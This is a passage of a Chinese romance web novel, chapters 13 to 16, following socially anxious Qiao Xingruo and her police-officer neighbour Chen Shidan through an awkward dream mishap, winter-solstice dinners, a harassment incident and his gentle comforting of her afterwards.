印象里的乔星若是个很爱笑的女孩子,但笑得很假。
肌肉发力不均,眼周肌肉不参与。
那是假笑,不是很好看。
现在这样没什么表情的睡颜,也比她清醒时的职业假笑顺眼多了。
陈时澹垂眸,脸往她那边偏近了些,她脸颊上的细小绒毛在他的视觉中放大。
想起什么,他无声啧了一下。
果然,这人脑子停止思考的时候最顺眼,不像个满脑废料的流氓。
这个想法持续不到几秒,一直闭着眼睛的人忽然横过来一只手,搭在他的腹肌上。
陈时澹:“?”
乔星若也没想到梦还有续集,只不过变换了场景,改成了车内。
怎么说呢,梦里的思想不受控制,可以说是暴露了本性,她居然下意识有点欣喜。
现实不敢做的事情,梦里无法无天。
也不知道是不是梦出经验来了,这次居然有了手感,不再是空气。
“不是你让我摸的吗……”乔星若小声呓语。
她的腔调细软,有些含糊,但听力惊人的陈时澹还是听到了。
陈时澹:“???”
请问呢?
清白几两,就这么遭人污蔑??
不愧是她,做梦的类型都这么……令人意外。
第一次被别人摸胸膛,陈时澹脑子有些凌乱。一时之间除了绷紧着身体,不敢做出其他动作。
也
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正好给了某人趁虚而入的机会。
柔若无骨的指尖隔着底衫在他身上游荡,甚至有向下的趋势。
酥酥麻麻的,像是着了火。
陈时澹咬牙切齿瞪着旁边的人,真是栽在这个臭流氓这里了。
想报警,这里有人袭警。
在乔星若真的离他的腹部越来越近时,他终于忍无可忍攥住了她的手。也不敢太用力,怕惊醒她被倒打一耙。
可乔星若还是醒了。
她迷迷糊糊睁开了眼睛,感觉到自己的手背上和指尖上还有余热,懵的同时,指尖无意识蜷缩起来,表情似乎还有些回味。
那抹神情被陈时澹捕捉到了,压抑着要炸的情绪威胁:“你要是敢乱想我就帮你人为失忆!”
乔星若扭头看旁边的人的脸和耳根跟熟了一样,表情更是臭的没边。
她瞬间清醒过来,回想起刚才那个真实的梦,缓缓冒起一个想法:她不会真对陈时澹做了什么吧?!
“那个……师哥……”
“别叫我师哥!”陈时澹咬着牙关,脸色更差了。
第一次见他情绪这么不稳定,乔星若害怕极了。
殊不知,陈时澹也对她害怕极了。
车内安静片刻,乔星若勉强冷静了些。察觉出旁边的人的情绪也稳定了下来,才弱弱开口:“……我睡相不好,可能……或许……我有对你造成了什么伤害吗?”
陈时澹冷笑一声。
那他妈叫睡相不好?不如直接点说是梦相不好,思想有问题。
“可能我们之间有什么误会,我真的不是有意的……”乔星若还试图挽救一下这段纯洁的友谊,但一想起那个梦,她的眼睛就忍不住往他的身上瞟。
“乔、星、若。”
“……啊?”
“警告你,以后离我远点,一米以外的距离!”
陈时澹扔下这句下车,把车门甩得哐的一声。
虽然不知道自己现实里做到了什么程度,但看他的态度就知道肯定很冒昧了。
这种事情真给她实践了,乔星若有些微死,抱着乔咪咪下车。
想起陈时澹说的,要离他一米距离。
乔星若自己脑补了一下,觉得一米不够,容易被他的气场伤到,自觉放缓脚步跟在后面。
摔门快步往前的人不知为何又折返回来,抢过她怀里的猫包,大步往前走。
“……?”
不理解,也不敢问。
在一楼等电梯时,两人之间的距离还能站下几个人,在电梯厢里也是。
只是电梯门打开时,陈时澹蓦然停住脚步。
乔星若一直低着头,不小心撞到了他的后背。
陈时澹应激似的一下子往旁边闪,迅速把猫包塞回给她,掏出钥匙开门进屋。
一套动作行云流水,不到半分钟。
乔星若也没脸没对隔壁的人了,回到家安顿好乔咪咪,拿出手机打开某书,颤颤巍巍发了个帖子。
标题:不小心摸了邻居小哥哥怎么办?
正文:坐他的车回家不小心睡着了,然后做了个人心惶惶的梦……醒了之后发现他脸红了很生气,还让我以后离他远点……这反应,应该是我真的对他做了什么,感觉完蛋了【表情/崩溃R】【表情/大哭R】
13. 渣女
——看好了只教一遍,勾起他的下巴,玩味地说:“男人,你在玩火。”【表情/狗头R】
乔星若:“……”这是要毁了她吗?
——妹子你这编的太那啥了,每天睁眼就是吃几吨小说。。
——后续求踢。
——摸都摸了不亲一下?顺嘴的事。
——第一章摸了
第二章抱了一下还撩了头发
第三章发个帖子隔壁住的人是暧昧期的crush好想表白啊啊
第四章crush好像也对我有意
第五章官宣好喜欢好开心好激动呜呜呜
第六章祝福这对新人【表情/哭笑R】
—
底下全是对文豪的称赞。
乔星若:“…………”
也有安慰她的网友。
——没事啊,如果对他没意思的话他让你理他远点就听他的呗,只要不报警都不是问题。
——人生如戏,以后丢脸的事还有很多,这才哪到哪。
乔星若无语笑了一下,人都麻了。
只有一个相对有用的建议:
——实在不行搬家呗,不过据帖主说的那小哥哥的反应,我看帖主也不用搬,他就先搬了。
乔星若想了一下,回复:可是他是房东……
—
作为一个很听劝的人,乔星若忽然觉得这条搬家的建议好像也不是不可行。
但又想起当初合同签了一年,乔星若有些泄气地瘫在沙发上,感觉自己可以换个不用花钱的星球生活了。
真的不明白,自己一个社恐,是怎么做的出这种事情的。
太有种了吧。
那天之后,乔星若都窝家里,夹着尾巴不敢出门。
以前是不想出,现在好不容易逼自己出去了,又害怕遇到陈时澹。
乔星若不知道的是,陈时澹休假结束之后就变得非常忙了。几乎每天泡在局里或者走访市里各个地方,还被借调到其他区域协作,可以说是二十四小时连轴转。
所以就算不躲,他们也没什么机会碰到。
转眼到冬至。
乔星若从冰箱拿出之前买的速冻饺子,用她那蹩脚的厨艺下了几个。
不出所料,皮全烂成渣渣了。
但味道还不错,她全吃了个干净。
收拾完碗筷,给乔咪咪倒了猫粮。这崽子绝育那天对她态度不好,后面又变回了那幅粘人乖巧的模样。
乔星若撸了一会儿猫,顺便查询了一下今天的温度。
她对气温没什么概念,又总是窝家里,不知道外面的人穿的什么。看着相比昨天骤减的温度,有些犯难。
思索片刻,乔星若回卧室换了一件白色打底衫,外搭一件黑色的中长款羽绒服和粉白围巾,去市医院找安医生。
海城的冬天刺骨寒凉,此时还下着细雨。
乔星若从单元楼里出来,还因为自己穿对了衣服而感到庆幸,在心里夸了自己好一会儿。
下雨不方便骑车,她撑着伞慢慢走过去。
来到医院,安医生陪她聊了会儿天,给她做了一个心理评估测试。
有个好消息,她可以停药了,治疗周期改为每月复诊一次。
这是今年为数不多的好消息,乔星若心情很好。
七年前的那个小姑娘怎么也想不到,自己也会有好起来的一天吧。
以往任何时候都不比此刻,迫切希望天光大亮的那天。
终有一天,痛苦的痕迹会被完全覆盖。
黯淡的星星,再一次,逐渐泛起光芒。
—
临近傍晚,乔星若想在外面解决晚饭。
看到乔景元不久前给她发的冬至祝福,她犹豫着给他回了消息:同乐呀。你工作结束了吗?我现在在你们医院这边,要不要一起吃个饭?
几分钟后,对面回复:好啊好啊,我这边刚结束,等等我马上到!
乔星若在一楼的大厅等乔景元,百无聊赖看着手机。
“姐姐!”乔景元单肩背着包从滑动电梯上下来,快步朝她跑过来,给她一个大大的熊抱。
“姐,冬至快乐啊,你怎么突然找我吃饭了?”
乔星若佯装生气:“怎么,不乐意啊?”
“没没没,我开心死了,真的。”乔景元稍稍松开她,憨笑一声,“就是有点意外嘛。”
乔星若笑了笑,注意到跟乔景元一起下来的男生。身着白色厚款卫衣,面容清俊,皮肤白皙,透着他们那个年纪的稚气。
她对年龄小的人没那么社恐,况且看对方也挺腼腆的,便主动打招呼:“你好。”
男生一直怔怔盯着乔星若,忽然被搭话,脸有些红。
“这是跟我同专业的同学,我好哥们夏然。”乔景元拍拍夏然的肩膀,给他们介绍,“这是我姐姐,乔星若。”
夏然:“姐姐好。”
乔星若点点头,发现他的耳朵好像也红了,以为是医院门口风大吹的。纳闷这些男生怎么都跟不怕冷似的穿这么少,要风度不要温度。
乔景元和夏然也只是顺路一起下楼,他知道乔星若不喜欢跟不熟的人一起吃饭,便没打算叫上夏然一起。
乔景元虚搭着乔星若的肩膀,跟夏然告别:“阿然,我今天和我姐一起吃饭,那我们先……”
乔星若打断他:“……呃,要不一起吧?”
另外两人看向她,神情里都有些惊喜。
乔景元:“对啊对啊,阿然你跟我们一起吧!”
夏然:“好啊。”
乔星若笑了笑:“你们想吃什么?姐姐请客。”
乔景元想了一下:“烤肉?旁边商业楼新开了一家,还没尝过,听室友说味道不错。”
“好。”
三人一起离开大厅,说话间乔星若顺手替乔景元整理了一下凌乱的衣领。
“出门穿多点啊,生病很难受的,不要生病。”
“知道啦,鬼知道今天降温还下雨嘞,我下次肯定注意!”
“……”
医院人多,他们没注意到不远处一身利落冲锋衣的男人正冷眼目送他们离开。
许明也顺着陈时澹的目光注意到了那两人:“哎,那不是澹哥邻居嘛,她来医院做什么?”
“还有那个搭着她肩的男生,好像是刚才在那受害者病房遇到的实习医生,是她男朋友啊?”
陈时澹的眸色更沉了些。
他记得那个男生,之前去繁花苑找过乔星若。
所以是没男朋友,但暧昧期。
渣
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女。
哪都摸了,但不负责,还跟别人搞暧昧。
怎么能有人又渣又流氓的,烦人精。
还是说喜欢年纪小的?
呵,跟他有什么关系。
今天开始,他绝对绝对不会再跟这渣女多说一句话。
冬天白天短,今天还是冬至,此时的夜已然降临。外面的路灯亮起,光线昏暗,抬头时还能看清蒙蒙的雨丝。
夏然没带伞,乔景元把自己的借给他,而后跟乔星若同撑一把。
小时候姐弟俩在一个小学,雨天一起回家时,乔星若就习惯把伞往乔景元那边倾斜。
现在比姐姐高了,这种行为也潜移默化般刻在乔景元的习惯里,他无意识地把伞往乔星若那边倾斜。
夏然刚才无意在乔景元手机上看到了姐弟俩的聊天记录,随便找了个话题:“星若姐,你怎么在医院这边啊,是生病了吗?”
乔星若吸了吸鼻子,一时不知道怎么回答。
乔景元笑嘻嘻道:“嗐,那不是我姐太在意我了嘛,今天冬至,特意来医院接我下班去吃饭。”
夏然隐约察觉出什么,但考虑到是隐私,既然他们不想说外人也不好再冒犯。
顿了两秒,他抿唇笑了笑:“刚才忘了说,星若姐,冬至快乐。”
“嗯,同乐。”
“……”
他们去的那家烤肉店的生意很好,人很多,还在外面等了一会儿才有空位置。
店内人多,空气里飘着烤肉的香味,烟火味足。坐下之后,乔星若觉得热,脱了围巾和外套。
点完东西,乔星若安静听着两个比她小的弟弟聊大学的事情。
她跟他们不是一个专业,年纪也差了两三岁,按理来说没什么共同话题,可夏然不知为何总将话题往她这边引。
“星若姐,你大学是在哪念的啊?”
“海大。”
夏然眸光一亮:“巧了,我姐也是海大的,艺术类,动画专业。”
乔星若:“我也是动画专业的,你姐姐是哪一届的?”
夏然思索片刻,有些不确定:“好像是23届吧?她叫夏熙,熙攘的熙。”
“我大学的一位室友就叫这个名字。”乔星若以前似乎听过夏熙提起有个弟弟,便有些讶异,“不会这么巧吧?”
乔景元也觉得有意思:“这世界还真小,兜兜转转都是认识的人。”
知道夏然是朋友的弟弟,乔星若对前者的好感更甚,态度也更亲切了些。
吃完晚饭分别前,乔星若对夏然说:“姐姐在这边工作生活,你和景元没事的时候可以来找我玩。”
“好啊,”夏然笑得更开心了,拿出手机,“星若姐,我们加个联系方式吧?”
乔星若答应了,打开绿泡泡给他扫。
告别之后,夏然回学校宿舍,乔景元送乔星若回繁花苑。
两人坐电梯到楼上,乔景元没有再进屋坐。正好电梯门开了,他跟乔星若边告别,边往电梯厢走。
电梯厢里出来一个气质冷峻的男人,乔景元立即认出来是乔星若旁边的邻居警官,便友好颔首,想打个招呼。
可他没来得及开口,就接收到陈时澹冷冷的目光,与其擦肩而过。
乔景元:“?”怎么个事儿?
14. 理想型
眼看电梯门要关上了,乔景元来不及多想,连忙进去。
一时之间,过道里只剩下两人。
想起陈时澹之前说的话,乔星若也不知道该不该打个招呼。
打吧,就很显得她在套近乎。
不打吧,人家之前帮了她那么多,又显得她很没良心。
在她纠结的时候,旁边传来一声冷嗤。
“?”乔星若下意识循着声音源头看了过去。
仿佛只是错觉,陈时澹连个眼神都没给她,低头找着钥匙。
“师哥,冬至……”乔星若寻思着他现在看着心情不怎么好,应该是不快乐的,便斟酌着换了个说辞,“冬至安康。”
“嗯,你也是。”声音低沉冷淡,听不出思绪。
乔星若注意到他眸里的神色恹恹的,泛着不明显的血丝,似是很久没休息的模样。
她本觉得这样结束话题就很合适了,可还是莫名其妙再次开口:“师哥……你吃晚饭了吗?”
陈时澹终于抬眸,往她这边看了一眼。
“没。”
“家里也没东西吃了。”他补充了句。
“……”乔星若犹豫着说了句客套的话,“我这边还有些速冻饺子,你不嫌弃的话……”
“好。”
“……”
—
不知怎么的,事情发展到了陈时澹跟着乔星若回家蹭饭。
她家里也没什么吃的,来她家吃还不如点个外卖。
幸好还剩大半包速冻饺子。乔星若盘算着,让他先坐会儿,她给他煮饺子。
出于职业病,陈时澹进门跟走访案情现场似的,默不作声打量着室内。
房子里没什么生活气息,堆着的很多东西都是猫的。
他在那张小小的双人沙发坐下。
茶几上放着水壶和一个逗猫棒,还有几本类似画册的东西,并不算陌生的东西让陈时澹有些好奇,但还是没有乱碰。
室内的灯光昏暗,厨房的动静也不大,陈时澹保持着一个姿势,竟不知不觉间阖上了眼。
乔星若将饺子煮好,不出所料地跟早上煮的那锅差不多,面露难色。
但饺子又全下锅了,也没办法补救。
她来到客厅想跟陈时澹说一声,却发现客厅的人不知什么时候睡着了。
海城在南方,冬天没有暖气,室内也是很冷的。
乔星若考虑到陈时澹因为工作原因可能很久没合眼了,便没有叫醒他,回房间取了件毛毯,小心翼翼地给他披上。
可陈时澹在睡着的时候警惕性依然很强,在乔星若收回手时一下子攥住了她的手腕,皱眉睁开眼。
乔星若被他这动作吓到了,下意识直起身往后退了一步,小腿碰到了身后的茶几。
她的重心不稳,身子晃了晃。
陈时澹下意识扯着还未来得及松开的手腕,往自己这边收,她由后往前,摔在了他身上。
“!”
乔星若懵了一瞬。掌心撑着陈时澹的肩膀,下意识庆幸这次没碰到什么不该碰的。
“不好意思……”
“抱歉。”
两道声音同时响起。
乔星若愣了一下,明白了他为什么跟她道歉。她连忙起身,察觉到心跳还未平复,不太敢看他。
“那个,饺子已经煮好了……”因为慌乱,乔星若眼神躲闪地捏着长裙,一时忘词。
忘了原本想给他打预防针,煮的不太看的出来是饺子。
陈时澹的思绪也有点乱,身上另一个人的余温还没消散,存在感格外强烈,也不算陌生。
淡淡的不知名花香,不难闻。
嗯……也可以算好闻吧。
相比于之前的流氓式接触,这次已经很温和了。
也不知道是不是身体已经适应了这人的投怀送抱,他这次居然没有觉得很抗拒。
陈时澹喉结微动,把身上的毯子简单叠好,放在一旁站起身。
来到小餐桌前,两人面对面坐下。
乔星若给他盛了满满一碗,放在他面前:“可能不太好看,但味道还是可以的……”
陈时澹垂眸看着碗里的肉渣白皮汤,沉默几秒:“这是饺子?”
“怎么……不算呢。”乔星若挠挠头,有些尴尬。
陈时澹尝了一口,很给面子地评价:“嗯,味道上确实是。”
“……”
乔星若没事情做,就这么静静看着对面的人吃。
陈时澹的吃相很好,没有发出什么声音,也不邋遢,还怪养眼的。
两人基本没什么话说,但乔星若跟陈时澹待在一起时,似乎也没有觉得很尴尬。
陈时澹稍稍抬眼,问:“你不吃?”
乔星若有种偷看被抓的感觉,默默移开目光:“……我在外面吃过了。”
哦,也是。
在外面和别人吃过了。
陈时澹的眼神又冷了下来。
他迅速吃完起身。
乔星若本想说放那她收拾就好,但陈时澹绕过她到厨房水槽洗了碗筷,放回碗柜里。
“谢谢你的款待。”
渣女。
“我先回去了。”留下一脸问号的乔星若,陈时澹径自往门口走去。
乔星若要给门上锁,所以反应过来后也跟着他往门口走。准备关门时,走在前面的人忽然回头。
她措不及防地收住脚步,险些撞上了他的胸脯。
“……对了,最近有桩凶案是在繁花苑附近发生的,你以后独自出门注意些,尽量不要晚上出门。”
陈时澹没完全回头,语气有点别扭。
“还是那句,有需要给我打电话。”
“……”
—
自从跟夏然加了联系方式之后,乔星若隔三差五能收到他的嘘寒问暖。
她不是个很会聊天的人,每次都是绞尽脑汁简略回复。
元旦那天,她再次被夏熙和林溯琪约出去。
聊天时,乔星若想起夏然,跟夏熙确认了一下,确实是后者的弟弟。
听到乔星若说夏然经常在线上找她聊天,夏熙有些意外:“真的啊?这小子好像从小到大都没跟几个女生说过话。”
林溯琪眼神有些八卦:“熙熙,你弟不会是对若若有好感吧?”
乔星若摆手否认:“不可能,别乱说啊,我多大他多大。”
林溯琪不置可否:
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“能多大,就比那弟弟大两岁吧,现在不是还挺流行姐弟恋的。”
夏熙咬着吸管,开玩笑道:“若若,要不你考虑一下我弟呗,我家条件还不错,他长相性格也都还行,从小到大没谈过,还被我这个姐姐调得眼里有活会照顾人。”
乔星若想都没想拒绝了:“别了,我对年纪小的真的没兴趣。”
况且夏然跟乔景元一个年纪,在她看来真的很小。
“那你喜欢什么样的呀?”夏熙实在是好奇,往前凑近了些。
对面的人只抹了点口红提气色,弧度柔和的鹅蛋脸白皙干净,眉型如墨画。那双眼睛极为漂亮,如透净的琥珀,似是会勾人心弦。
再加上审美好会穿搭,乔星若在气质这块也是上乘的,是不泯然众人的美感。
“我都不敢想,长成你这样的居然大学毕业了都没谈过,你还是艺术系的哎小姐姐。”夏熙捏了捏乔星若的脸,有些恨铁不成钢。
乔星若歪了歪脑袋:“emm首要肯定是好看,然后……至少得跟我有共同话题的吧,跟我同龄,或者在我之上……”
说到这时,乔星若的脑海里莫名闪过陈时澹的身影,一时滞住话语,脸颊有些发烫。
只是一秒,她就闭眼狂甩了甩脑子。
妈呀,得洗脑子了。
哪敢对那人有非分之想啊,自己早就被他拉进黑名单了吧,不谋杀她都算好的了。
夏熙和林溯琪相视一眼,不明白她为何突然抽搐了。
“若若你咋了?”
林溯琪注意到乔星若有些闪躲的眼眸和微红的脸颊,大胆猜测:“若儿,你不会……有喜欢的人了吧?”
“!”乔星若中气十足道,“没有!”
动静大得隔壁桌也看了过来。
乔星若尴尬捂脸:“……对不起。”
对面的两人对于她的反应忍俊不禁。
作为在场唯一一个已婚人士,林溯琪一副过来人的模样:“口是心非啊。”
乔星若不说话。在她们转移话题时,她又有点憋不住了:“如果,我有一个朋友——”
两人立即将目光汇聚过来,就差把“你快说”这三字印在脸上了。
“咳,就,真的是我朋友……”
“嗯嗯,我们知道。”
“……她跟一个警察小哥哥是邻居,然后第一次见面两人就不小心抱了两下,后面也不小心摸了那个男生,那个男生好像还挺生气的,他们俩有可能吗?”
气氛沉默两秒。
夏熙有些唏嘘:“那很不小心了。”
林溯琪咂舌:“这真是你……朋友?她能做出这种事来?”
乔星若:“……不是故意的,真的是意外,她跟我讲的。”
“其实我觉得不是没有可能啊。”夏熙捏着下巴,一脸认真道,“有没有可能那男生也对你有意思啊,他是警察他怎么可能躲不开?别是嘴上嫌弃心里暗爽吧?”
乔星若疯狂摇头加摆手:不可能不可能!
之前在车里那次,那时候的陈时澹多生气啊,气的脸都红了,想打死她一样,她现在都记得!
“我只有一个问题,”夏熙盯着她,态度求知若渴,“你摸他哪了?”
15. 需要
“……脸?”乔星若怕被当成变态,随便扯了一个部位。
“脸咋不小心啊,他做了什么对不起你的事你扇他了?”
“对啊我也很好奇,我回头问问我朋友。”乔星若捧着杯子,小声嘀咕,“算了不提了,反正……我朋友也不喜欢他。”
林溯琪不经意道:“你刚才描述理想型的时候,想的也是他?”
乔星若啊了一声,反应过来磕磕绊绊地否认:“没、我没有……”
对面两人的神情变得意味深长,仿佛已将她看穿。
乔星若脸红了。
她提起这个也是一时鬼迷心窍,说实话,她也不知道对陈时澹是什么感觉。
应该是有感觉的,但应该也没到喜欢的那个程度。
她是个相对保守的人,对于这件从来没有做过的事情至今蒙着一层虔诚的滤镜。
她觉得恋爱这种事情,满眼只有对方的人才能谈,一辈子有一段恋情已经足够了。
可理智告诉她,她这种情况,不太适合跟人谈恋爱。
想及此,乔星若心情有些低落。
林溯琪看她这样,点了一下她的额头:“你比我们还小一岁呢,想东西居然这么多。”
“你难得遇到一个感兴趣的,想的话就试试呗,感情都是可以慢慢培养的嘛。你看我和李璆行,当初没做好措施,也没做好成父母的准备,因为喜欢就留下了饭饭,后面也慢慢学会照顾这个小家伙,感情因为这个羁绊越来越深。”
“但是,假如啊,假如他要跟我离婚,我也是可以接受的。人生如戏,容错率那么高,畏畏缩缩是很难有好的体验的。”
“……”
临近中午,三人决定找个地方吃午饭,一起往甜品店外走。
节假日店里人多,她们出去的时候,乔星若敏锐察觉到自己自然垂着的手臂内侧被什么触碰了一下。
下一秒,身后一个男生的声音响起:“你干嘛呢?”
四周的目光朝突兀的声音聚集,乔星若也回头看了过去。
说话的男生攥着另一个戴着黑色帽子男人的手,以一个压制的动作将人按在桌上。
“恶不恶心啊你这种人,手不要了就挖了喂狗,别大过节的出来传晦气。”
周围唏嘘一片,乔星若想起刚才手臂侧传来的触感,瞬间明白了是怎么回事,霎时间脸色发白。
再看周围人的目光,或许不是在注视她,却如针般从她身上刺过。
离她最近的夏熙察觉到她的不对劲,拉住她的手,唤了她一声:“若若?”
“这人想偷小姐姐的手机!”男生朝周围高喊了一声,随后看向乔星若,声音不轻不重问,“你要报警吗?”
乔星若用力将食指捏得泛白,抿唇点点头。
夏熙和林溯琪还不清楚发生了什么,担忧看着她。
乔星若勉强开口,低声说:“那个人刚才,想碰我的腰。”
“……”
派出所里做完笔录出来,夏熙和林溯琪一边骂着那个骚扰犯,一边安慰乔星若。
在门口再见到那个见义勇为的男生,乔星若喊住他:“你好……刚才谢谢你。”
男生随意摆了摆手:“没事啊,我是警校毕业的,为人民服务嘛。你也别太往心里去了,这种事情谁都不想的,你什么错都没有。”
发生了这种事情,乔星若食欲全无,呐呐地跟另外两人说想回去了。
夏熙和林溯琪知道她的心理问题,所以很担心她的状态。
“若若,你……”
乔星若的脸色还不太好,勉强笑了笑:“我没事,我知道的……错的不是我,我只是……有点累了,想回去休息。”
林溯琪今天开了车,送乔星若回到小区后,三人告别。
乔星若回到家里,给门上好两道锁,抱着乔咪咪蜷缩在沙发上。
不知不觉,眼底一片濡湿。
乔咪咪似乎感觉到了她的难过,一下一下舔着她脸颊上的泪滴。
“错的不是我……”
“不是我……”
乔星若微微抬眸,看到茶几的水果刀,神情有些呆滞。
她松开了乔咪咪,控制不住发抖的手指朝茶几探去。
骤然响起的门铃声让她回过神来。
乔星若缓缓起身,往门口走去。
透过猫眼看到的是一个小女孩,她慢慢回忆着,想起这是陈时澹的妹妹。
面对小孩子,肯定不能有负面情绪。
乔星若深吸了口气,调整好情绪才打开门。
“姐姐好,元旦快乐呀!”陈时云看到她,仰头朝她扬起一个甜甜的笑容。
乔星若用跟小孩子说话的语气,回以微笑:“姐姐也祝小云元旦快乐,天天开心。”
陈时云歪了下扎着小辫子的脑袋:“姐姐,我哥哥正在做甜品哦,他厨艺可好啦,你要不要过来和我们一起呀?”
“不啦。”乔星若弯着腰,揉揉她的脑袋,“姐姐有点累,想休息了,你回去找你哥哥吧,别乱跑哦。”
“好吧,姐姐再见。”
“再见。”
“……”
看着陈时云回隔壁后,乔星若重新将门反锁,回到沙发继续呆坐。
另一边的陈时云进屋,陈时澹将面糊倒进模具,听到动静随意瞥了眼门口:“没来?”
“昂,若若姐姐她说累了要休息啦。”陈时云踩着小凳子趴在桌上,一下一下晃着脑袋,“哥哥,你是不是喜欢那个姐姐呀?”
陈时澹冷嗤一声,觉得荒唐。
他怎么可能喜欢那种女生。
除了善良心软养猫有责任心长得好看点……优点还挺多。
啧。
“小升初都还有几年呢就瞎操心大人的事情,你还真是朵‘闲云’。”
陈时云不服气地哼了声,忽的想起什么,嘀咕了一句:“哥哥,姐姐好像刚哭过哦。”
陈时澹手中的动作一顿。
“怎么?”
小孩子的观察能力都比较细致,陈时云回忆着说:“姐姐的眼睛和鼻子红红的,声音有点哑。”
“还有哦,姐姐的手一直在抖。”
陈时澹把装着面糊的模具放进烤箱,擦了下手便往门口走。
“哥哥,你去哪?”
“你乖乖待着,我去隔壁看看。”
—
门铃又响了起来,乔星若揉了揉太阳穴,过去查看。
看到来人
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是陈时澹时,她有些纳闷,这兄妹俩怎么跟商量好似的轮流过来。
踌躇片刻,她还是开了门。
两人的身高差很明显,乔星若看他需要稍稍仰头。因为刚哭过,她的声音带了点鼻音:“你有什么事吗?”
她注意到陈时澹的毛衫上沾了一抹浅黄色的面糊,降纯了原本单调的深灰,色彩丰富了些。
陈时澹垂眸看她。
确实如陈时云所说,乔星若的眼睛和鼻尖红通通的,脸上还有半干的泪痕。
手指还在微微发抖,但已经不太明显了。
哄人这事陈时澹不算陌生,作为局里被那些人开玩笑封的门面当担,很多情绪不稳定的受害者需要他出面去做心理疏导。
但面对乔星若,他心里莫名有点拿不准。
沉默两秒,陈时澹声音尽量放轻,问她:“乔星若,你想吃蛋糕吗?”
乔星若猜到陈时云回去跟他说了什么,下意识避开视线,敛起挂在嘴边的假笑。
“你不笑的时候也很好看。”陈时澹顿了顿,耐心询问,“或者,你需要我为你做点什么吗?”
乔星若微怔,眼眶的那股酸劲儿又涌了上来,片刻之后摇摇头。
“吃午饭没?”
她继续摇头。
陈时澹走近了些,从兜里掏出一颗橙子软糖,放进她的手心里。
“那你带着咪咪跟我回隔壁好不好?小云还没摸过猫,你可以带咪咪过去给她看看。我给你们做饭,还有小蛋糕,你之前都尝过的,味道是不是还行?”
心里某条防线上的霜雪被轻轻抚去,少了沉闷的压抑感。
乔星若被劝得有些松动,攥紧了手里的糖,沉默地回屋里抱猫。
陈时澹没跟着她进去,也没催她,静静站在门外等着。
一分钟后,她表情木纳地抱着猫出来,锁门的时候反锁了好几圈。
“那我们走吧。”陈时澹平静看着她,“你想吃什么?”
乔星若小声回答:“……都可以。”
“葱油面可以吗?”
“可以的。”
“……”
陈时云看到乔星若进来,眼眸亮晶晶的:“姐姐!”
乔星若搂紧乔咪咪,勉强对她挤出一抹笑。
陈时澹把门关上,带着人往客厅走:“小云,你陪姐姐还有姐姐的猫玩一会儿,我给你们煮个面。”
“好呀。”陈时云拉着乔星若在沙发坐下,好奇地盯着乔咪咪,“姐姐,你的猫好漂亮哎。”
没有人不喜欢听人夸自己心爱的毛崽子,乔星若微不可察地“嗯”了一声:“谢谢。”
“我可以摸摸它吗?”
“可以的,它很乖。”乔星若将撑着乔咪咪身体的臂弯放低了点,横在两人之间。
陈时云小心翼翼摸了摸乔咪咪背上的毛,有些惊喜:“真的好乖!毛好舒服哦,姐姐你一定把它照顾得很好!”
乔星若微怔了一下,盯着这只毛炸的厉害的毛绒绒,忽然回想起捡到咪咪的那天。
是在两年前的深冬,满是泥泞的雨天里。
它骨瘦如柴的一小只,蜷缩在绿化带里,发出似有若无的呜咽。
腿还骨折了,满身是伤。
16. 童言
那天乔星若和邱宁下班回去路过遇到了,她把自己的羽绒服脱下来将它裹起,匆匆赶往宠物医院。
邱宁也很想养只猫,但显然不是想养这种还没来得及培养感情就要倒贴一大笔手术费的。
她劝乔星若不要管,这一看就是被人遗弃的了,指不定是有什么治不好的病。
乔星若看着外套里的小小一团,小猫湿漉漉的眼睛同样在看着她。一时心软,还是决定给它治疗。
她揽下所有的医疗费,邱宁才勉强同意收留咪咪。
小猫很顽强,恢复得很好。在乔星若精心照顾下,从一开始的应激胆小,变得逐渐能满屋子奔跑。
在爱意的滋养下,小猫疯狂长出血肉。
到现在完全看不出是当初那只瘦的皮包骨的病残小猫。
好笑的是,后面咪咪只跟乔星若亲近,邱宁还骂这猫养不熟。
—
陈时云:“姐姐,你的猫叫什么名字呀?”
乔星若收回思绪:“乔咪咪。”
一直在厨房听着她们的动静的人笑了一声:“乔咪咪,还有名有姓的。”
要是以往,乔星若估计就以为陈时澹说这话的意思里带着反讽了。
但经过刚才去她家里找她的事情,她对他的刻板印象有所改观。
乔星若看向厨房吧台的方向,认真道:“因为我是它妈妈,所以它跟我姓乔。”
陈时澹跟她对视,眸里的笑意更甚。
“嗯,挺好听。”
难得见他如此,神情间似乎还有些温柔。乔星若不由呼吸一滞,莫名失了神。
片刻之后,她反应过来,连忙别开视线。
心里不禁诧异:这人今天被夺舍了吧……
不过,比平常顺眼多了。
撸了一会儿猫,陈时云说:“姐姐,我们老师安排了朗诵任务,我可以读给你听吗?”
乔星若:“好呀。”
得到肯定的答复,陈时云从书包里拿出一本小学语文课本,翻到《纸船和风筝》。
“松鼠和小熊住在一座山上……”
小朋友稚嫩的声音在室内响起,拖着长长的尾音,却有种别样的安宁。
“……”
“风筝的翅膀上写着:‘祝你幸福!’……”
乔星若安静听着,嘴角无意识扬起一抹真实的弧度。心里浮浮沉沉的东西渐渐平息,归于平静。
白纸一样的小孩真好。
她流露出几分艳羡。几曾何时,她也这么无忧无虑地活着,可以因为获得一件风筝或纸船幸福很久。
“……把一只只纸船放到了小溪里。”
读完之后,陈时云放下课本,用干净纯粹的眼睛看着乔星若,认真地说:“姐姐,我也祝你幸福哦!”
“你不要再难过啦。”
被一个小孩治愈到了。
乔星若眼眶酸涩,揉揉着小孩的脑袋:“姐姐不难过。”
“不难过就来吃面。”陈时澹端着煮好的面来到饭厅,招呼她们过来吃。
陈时云蹦下沙发,牵着乔星若过去。
陈时澹厨艺是真的好,简单的葱油面也能做的比外面还好吃。
乔星若原本消失的食欲再次被唤起,最后连汤底都喝干净了。
她刚将碗放下,眼前出现一只白净修长的手,泛红的指腹捏着小蛋糕的底托,稳稳停在她面前。
“尝尝?”
小蛋糕的卖相很好,上面点缀着奶油和车厘子,被这么一只堪比手模的手拿着,倒是格外有食欲。
简直让人说不出拒绝的话。
乔星若也顺从自己的内心,伸手接过来。指尖触碰到小蛋糕底托的时候,还不小心碰到了陈时澹的手。
她绷着脸故作平静,陈时澹也没有什么异常的反应。
倒是唯一一个局外人陈时云,小口舔着小蛋糕上的奶油,眼睛溜溜转着,目光在两人之间来回切换。
决定了,给自己拐一个漂酿的嫂嫂!
可想起之前乔星若说过自己有对象,陈时云有些犯难。
思考片刻,她一整个童言无忌:“姐姐,我哥哥很适合做小三。”
“?”
“!”
“真的,他……”下一秒,陈时云便被亲哥捂住了嘴巴。
陈时澹满脸黑线,语气里带着浓烈的警告意味:“陈、时、云!”
